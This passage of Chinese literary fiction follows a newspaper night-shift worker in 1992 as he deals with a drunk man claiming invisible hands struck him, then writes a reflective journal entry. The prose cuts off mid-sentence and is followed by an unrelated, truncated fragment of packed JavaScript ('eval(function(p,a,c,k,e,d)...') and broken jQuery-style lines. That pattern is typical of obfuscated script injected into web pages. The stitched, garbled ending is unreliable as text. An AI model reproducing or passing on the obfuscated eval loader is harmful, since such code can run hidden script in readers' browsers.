解平生想说话，叶葆启摇摇头。醉汉是沼泽，越挣扎陷得越深。
“您先喝口水。”叶葆启倒了杯凉白开。水在杯子里微微晃动，晃出细小的波纹。
醉汉不喝，开始长篇大论。说了一刻钟，翻来覆去就是那几句：被人打了，没看清是谁，你们要主持公道。但他的语言在酒精里泡过，变得肿胀而怪异：耳光的声音像“破锣”，打人的手像“鬼爪子”，路灯在他嘴里变成了“挂着人头的竹竿”。
叶葆启等他喊累了，喉咙开始沙哑，才说：“这样，我给派出所打电话。”
“不去！派出所都是饭桶！”
“那您想怎么办？”
“登报！明天就登！头版！标题要这么大——”他用手比划，比划出一个荒谬的尺寸，“《午夜鬼手袭路人，所有路过的人要警惕》！”
叶葆启拿起电话，拨号。瓦房街的值班民警一听就明白了：“又是老邹吧？喝多了就来这套。让他过来，我们这儿有醒酒汤，放了葛花和枳椇子，专治酒疯。”
挂了电话，叶葆启对醉汉说：“派出所请您过去，有醒酒汤。”
“不去！我要在这儿等！等打我的人来自首！”
“那您坐着，我们还要工作。”叶葆启翻开一本稿子，稿子上是明天的天气预报：晴，西北风三到四级。他把“晴”字描了又描，描成一个黑色的太阳。
醉汉又嚷嚷了一阵，见没人理，声音渐渐低下去。他趴在桌上，开始打鼾。鼾声起初很大，然后变小，变成一种呜咽似的抽泣。哭着哭着，他又抬起头：“我老婆……跟卖豆腐的王磊跑了……儿子说我不是他爹……厂里说我偷铜线，开除我……现在连鬼都打我……”
解平生小声说：“真话都在酒里。”
叶葆启没说话。他看着醉汉，醉汉的脸上有泪痕，那泪痕在昏黄的灯光下像两条小小的河。河床已经干涸多年，今夜终于又有水流动。
电话又响了。这次是个老太太，说楼上漏水，漏下来的水是黄色的，有铁锈味。叶葆启记录，联系房管站。处理完，凌晨两点。
解平生靠在椅背上打盹，头一点一点的，像鸡啄米。叶葆启没有睡意，他拿出采访本，翻到最后一页，开始写：
“1992年12月10日。夜。国佳，脑子里住进了一个会气功的女人。教他‘金刚罩’，一套广播体操改成的仪式。他信了，信比药灵。
醉汉老邹，被看不见的手打耳光。那手可能是他老婆的，可能是厂长的，也可能是命运本身的。耳光响亮，但疼的是心里那块早已溃烂的肉。
陈主任说过，夜班是医院的急诊室，来的都是急症。但急诊治标不治本，本在白天，在太阳底下那些我们看不见的裂缝里。
素琴说我心软。也许是吧。在公交车上卖票七年，见过太多这样的瞬间：一个老人上车，手里攥着皱巴巴的毛票；一个母亲抱着熟睡的孩子，孩子的口水湿了她的肩头；一个年轻人盯着窗外，眼睛空得像两只碗。那些瞬间像针，扎进肉里，不疼，但永远留在那儿。
父亲说，做人要正。正字怎么写？一横是天，一横是地，中间一竖是人。人要顶天立地，但也要弯腰看看脚下的泥。”
写完，他合上本子。本子的封皮是黑色人造革的，已
;eval(function(p,a,c,k,e,d){e=function(c){return(c
() {
$(''''.infor'').reve();
$(''